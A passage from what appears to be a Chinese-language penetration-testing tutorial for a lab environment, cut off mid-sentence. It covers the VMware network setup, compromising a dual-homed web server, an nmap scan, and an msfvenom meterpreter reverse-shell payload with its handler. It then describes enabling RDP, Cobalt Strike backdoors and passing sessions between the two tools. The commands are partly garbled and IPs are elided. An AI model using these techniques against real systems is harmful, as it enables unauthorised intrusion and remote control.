一、测试环境搭建
靶场常见的网络拓扑环境如下:
web服务器安装有双网卡,一块网卡连接互联网,一块网卡连接内网,内网里的机器是无法直接连接互联网的。我们使用vmware来模拟上述环境,配置网卡如下:
我们甚至还可以将web服务器的上网网卡NAT改为自定义VMnet3,将攻击机的网卡也改为VMnet3,这样的好处是整个渗透测试过程既保证了网络都是通的,又保证了ip不会发生变化,利于我们持续的作渗透,ip自定义为我们便于记忆数字,提高我们的效率。(有时候6个以上虚拟机同时开着,时不时忘了ip又得来回切换真的很痛苦)
二、如何拿下web服务器
搭建好测试环境后,第一步是开始对web服务器进行渗透。因为web服务器同时连接了外网和内网,所以必须首先拿下。这里有关web服务器的渗透不展开讲了,无非也就是利用漏洞,诸如:弱口令、上传漏洞、远程代码执行、各种cms漏洞,总之都是可以找到写入webshell的方法。对于靶场来说,最直接的方法就是查找网站的指纹,然后去找对应的漏洞进行利用。成功写入webshell后,接着就要上传木马控制web服务器,这里可以用Metasploit(以下简称:MSF)或Cobaltstrike(以下简称CS)。
用nmap扫描下端口还是很必要的:
nmap-sS-n-A...
效果还是很不错的,虽然web服务器的防火墙和都是开着的;
1、MSF生成木马控制服务器的方法
我们以windows木马为例进行讲解:
root
kali:~#msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=...LPORT=-fexeshell.exeuseexploit/multi/handlersetpayloadwindows/x64/meterpreter/reverse_tcpsetlhost...setlportexploitmeterpreter的进入与退出:
常规动作先提权;
执行runpost/windows/manage/enable_rdp模块来打开远程桌面;
2、CS生成木马控制服务器的方法
启动CS服务器端:
启动CS客户端:
配置好监听器:
生成后门、上传、执行一气呵成;
成功连接,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成1,sleep1;
CS安装插件,扩展其功能:
提权成功,可看到多出一个通道:
3、MSF与CS会话互通
因为两个工具不同的特点,想同时使用也是可以的,只需要进行下会话互传。
(1)MSF派生给CS
先创建监听器:
打开msf,使用payload_inject模块注入到cobaltstrike,注意使用的payload要和cs的一致为reverse_